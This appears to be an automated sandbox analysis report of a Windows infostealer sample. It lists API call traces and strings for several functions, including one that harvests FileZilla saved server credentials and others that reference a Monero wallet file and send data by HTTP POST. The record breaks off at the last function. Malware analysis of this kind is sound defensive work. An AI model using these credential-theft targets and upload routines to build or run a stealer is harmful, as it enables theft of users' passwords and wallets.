Part of subcall function 00FF75D0: lstrcat.KERNEL32(35689020,00000000), ref: 00FF768F
Part of subcall function 00FF75D0: lstrcat.KERNEL32(35689020,01011804), ref: 00FF76A0
Part of subcall function 00FF75D0: lstrcat.KERNEL32(35689020,00000000), ref: 00FF76D3
Part of subcall function 00FF75D0: lstrcat.KERNEL32(35689020,01011808), ref: 00FF76ED
Part of subcall function 00FF75D0: task.LIBCPMTD ref: 00FF76FB

lstrcat.KERNEL32(?,0087FE98), ref: 00FF7E0B
lstrcat.KERNEL32(?,0087EF50), ref: 00FF7E1E
lstrlen.KERNEL32(35689020), ref: 00FF7E2B
lstrlen.KERNEL32(35689020), ref: 00FF7E3B

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 3f045b9da1144e229d32ec726ba0ab9e3b7a1aa8f8e17cf432962bd60b87f308
Instruction ID: 54a35a684f6fa95c7a7a977a17e701bb1239708076383653cce9f8e45433b25d
Opcode Fuzzy Hash: 3f045b9da1144e229d32ec726ba0ab9e3b7a1aa8f8e17cf432962bd60b87f308
Instruction Fuzzy Hash: 263222B2D00318ABDB25FBA0EC88DDE737CBB54600F444699F259A3084EA75E789CF51

Function 01000250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 01008DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01008E0B

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 00FF99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FF99EC
Part of subcall function 00FF99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FF9A11
Part of subcall function 00FF99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FF9A31
Part of subcall function 00FF99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FF148F,00000000), ref: 00FF9A5A
Part of subcall function 00FF99C0: LocalFree.KERNEL32(00FF148F), ref: 00FF9A90
Part of subcall function 00FF99C0: CloseHandle.KERNEL32(000000FF), ref: 00FF9A9A

Part of subcall function 01008E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 01008E52

GetProcessHeap.KERNEL32(00000000,000F423F,01010DBA,01010DB7,01010DB6,01010DB3), ref: 01000362
RtlAllocateHeap.NTDLL(00000000), ref: 01000369
StrStrA.SHLWAPI(00000000,<Host>), ref: 01000385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01010DB2), ref: 01000393
StrStrA.SHLWAPI(00000000,<Port>), ref: 010003CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01010DB2), ref: 010003DD
StrStrA.SHLWAPI(00000000,<User>), ref: 01000419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01010DB2), ref: 01000427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 01000463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01010DB2), ref: 01000475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01010DB2), ref: 01000502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01010DB2), ref: 0100051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01010DB2), ref: 01000532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01010DB2), ref: 0100054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 01000562
lstrcat.KERNEL32(?,profile: null), ref: 01000571
lstrcat.KERNEL32(?,url: ), ref: 01000580
lstrcat.KERNEL32(?,00000000), ref: 01000593
lstrcat.KERNEL32(?,01011678), ref: 010005A2
lstrcat.KERNEL32(?,00000000), ref: 010005B5
lstrcat.KERNEL32(?,0101167C), ref: 010005C4
lstrcat.KERNEL32(?,login: ), ref: 010005D3
lstrcat.KERNEL32(?,00000000), ref: 010005E6
lstrcat.KERNEL32(?,01011688), ref: 010005F5
lstrcat.KERNEL32(?,password: ), ref: 01000604
lstrcat.KERNEL32(?,00000000), ref: 01000617
lstrcat.KERNEL32(?,01011698), ref: 01000626
lstrcat.KERNEL32(?,0101169C), ref: 01000635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01010DB2), ref: 0100068E

Strings

login: , xrefs: 010005CA
password: , xrefs: 010005FB
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 010002A4
profile: null, xrefs: 01000568
<Host>, xrefs: 0100037C
<Pass encoding="base64">, xrefs: 0100045A
browser: FileZilla, xrefs: 01000559
<Port>, xrefs: 010003C6
<User>, xrefs: 01000410
url: , xrefs: 01000577

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 71dacfb7c6055496e150f66c3de31f380317d4bcd18d8d1cabf8f5ad59c8f9cf
Instruction ID: 4b35950357797b3f57b6ce94a1a7b04a664ec9e16e95ceab89699873e2ed940d
Opcode Fuzzy Hash: 71dacfb7c6055496e150f66c3de31f380317d4bcd18d8d1cabf8f5ad59c8f9cf
Instruction Fuzzy Hash: 3BD1F171A002099BEB15EBF4DD99EEE7778BF68300F544518F182A70C8DF75AA46CB60

Function 00FF5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 00FF47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FF4839
Part of subcall function 00FF47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FF4849

lstrlen.KERNEL32(00000000), ref: 00FF5193

Part of subcall function 01008EA0: CryptBinaryToStringA.CRYPT32(00000000,00FF5184,40000001,00000000,00000000,?,00FF5184), ref: 01008EC0

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00FF5207
StrCmpCA.SHLWAPI(?,0087FE88), ref: 00FF5225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FF5340
HttpOpenRequestA.WININET(00000000,0087FDF8,?,0087FA68,00000000,00000000,00400100,00000000), ref: 00FF53A4

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0087FE18,00000000,?,0087BA70,00000000,?,010119DC,00000000,?,010051CF), ref: 00FF5737
lstrlen.KERNEL32(00000000), ref: 00FF574B
GetProcessHeap.KERNEL32(00000000,?), ref: 00FF575C
RtlAllocateHeap.NTDLL(00000000), ref: 00FF5763
lstrlen.KERNEL32(00000000), ref: 00FF5778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00FF57A9
lstrlen.KERNEL32(00000000), ref: 00FF57C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00FF57E1
lstrlen.KERNEL32(00000000,?,?), ref: 00FF580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00FF5822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00FF584D
InternetCloseHandle.WININET(00000000), ref: 00FF58B1
InternetCloseHandle.WININET(00000000), ref: 00FF58BE
InternetCloseHandle.WININET(00000000), ref: 00FF58C8

Strings

------, xrefs: 00FF563B
--, xrefs: 00FF5280
------, xrefs: 00FF53B7
", xrefs: 00FF5706
", xrefs: 00FF55C4
", xrefs: 00FF5482
------, xrefs: 00FF54F9
------, xrefs: 00FF5297

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 778d0a33b77c1cef2de49f551537a84369139181b1cf1fa9b8dd95a1681db32c
Instruction ID: 2308129652ebb20d3fbf4a62e001bbf246c80c5e362039715de4a4f367215e99
Opcode Fuzzy Hash: 778d0a33b77c1cef2de49f551537a84369139181b1cf1fa9b8dd95a1681db32c
Instruction Fuzzy Hash: D132D371A20219EAEB16EBA0DD94FEE7378BF64700F404169E186A70D0DF746B49CF61

Function 00FFA790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0100AA70: StrCmpCA.SHLWAPI(0087A710,00FFA7A7,?,00FFA7A7,0087A710), ref: 0100AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00FFAAC8
RtlAllocateHeap.NTDLL(00000000), ref: 00FFAACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 00FFABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FFA8B0

Part of subcall function 0100A820: lstrlen.KERNEL32(00FF4F05,?,?,00FF4F05,01010DDE), ref: 0100A82B
Part of subcall function 0100A820: lstrcpy.KERNEL32(01010DDE,00000000), ref: 0100A885

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

lstrcat.KERNEL32(?,00000000), ref: 00FFACEB
lstrcat.KERNEL32(?,01011320), ref: 00FFACFA
lstrcat.KERNEL32(?,00000000), ref: 00FFAD0D
lstrcat.KERNEL32(?,01011324), ref: 00FFAD1C
lstrcat.KERNEL32(?,00000000), ref: 00FFAD2F
lstrcat.KERNEL32(?,01011328), ref: 00FFAD3E
lstrcat.KERNEL32(?,00000000), ref: 00FFAD51
lstrcat.KERNEL32(?,0101132C), ref: 00FFAD60
lstrcat.KERNEL32(?,00000000), ref: 00FFAD73
lstrcat.KERNEL32(?,01011330), ref: 00FFAD82
lstrcat.KERNEL32(?,00000000), ref: 00FFAD95
lstrcat.KERNEL32(?,01011334), ref: 00FFADA4
lstrcat.KERNEL32(?,00000000), ref: 00FFADB7
lstrlen.KERNEL32(?), ref: 00FFAE0D
lstrlen.KERNEL32(?), ref: 00FFAE1C

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

DeleteFileA.KERNEL32(00000000), ref: 00FFAE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00FFABD4

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 9d9115541fd92e5383ea0032121a80c71d48b21cacb611962a8a86872cfe7f14
Instruction ID: 05646ebe72515848f3c080f40bd5b06d35218b735dcf0f239604c70df13ae767
Opcode Fuzzy Hash: 9d9115541fd92e5383ea0032121a80c71d48b21cacb611962a8a86872cfe7f14
Instruction Fuzzy Hash: 12124071A10209EBEB19EBA0DD95EEE7338BF64200F404068E187A70D4DF35AF49DB61

Function 00FF5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 00FF47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FF4839
Part of subcall function 00FF47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FF4849

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00FF59F8
StrCmpCA.SHLWAPI(?,0087FE88), ref: 00FF5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FF5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0087FDB8,00000000,?,0087BA70,00000000,?,01011A1C), ref: 00FF5E71
lstrlen.KERNEL32(00000000), ref: 00FF5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00FF5E93
RtlAllocateHeap.NTDLL(00000000), ref: 00FF5E9A
lstrlen.KERNEL32(00000000), ref: 00FF5EAF
lstrlen.KERNEL32(00000000), ref: 00FF5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00FF5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00FF5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00FF5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00FF5F4C
InternetCloseHandle.WININET(00000000), ref: 00FF5FB0
InternetCloseHandle.WININET(00000000), ref: 00FF5FBD
HttpOpenRequestA.WININET(00000000,0087FDF8,?,0087FA68,00000000,00000000,00400100,00000000), ref: 00FF5BF8

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

InternetCloseHandle.WININET(00000000), ref: 00FF5FC7

Strings

------, xrefs: 00FF5C0B
", xrefs: 00FF5CD5
------, xrefs: 00FF5D4C
------, xrefs: 00FF5A96
", xrefs: 00FF5E16

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 13d9ab0a1a4410252919403338d59284ecbd3e17082e0973495aeab1795a2d35
Instruction ID: a337d8dfabcb409af934dabbfd561acdc0405f39208a7ff9dffc6480f8844e05
Opcode Fuzzy Hash: 13d9ab0a1a4410252919403338d59284ecbd3e17082e0973495aeab1795a2d35
Instruction Fuzzy Hash: A112B371A20219EBEB16EBA0DC94FEE7378BF64700F5041A9A146A70D0DF746B49CF64

Function 00FFCEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

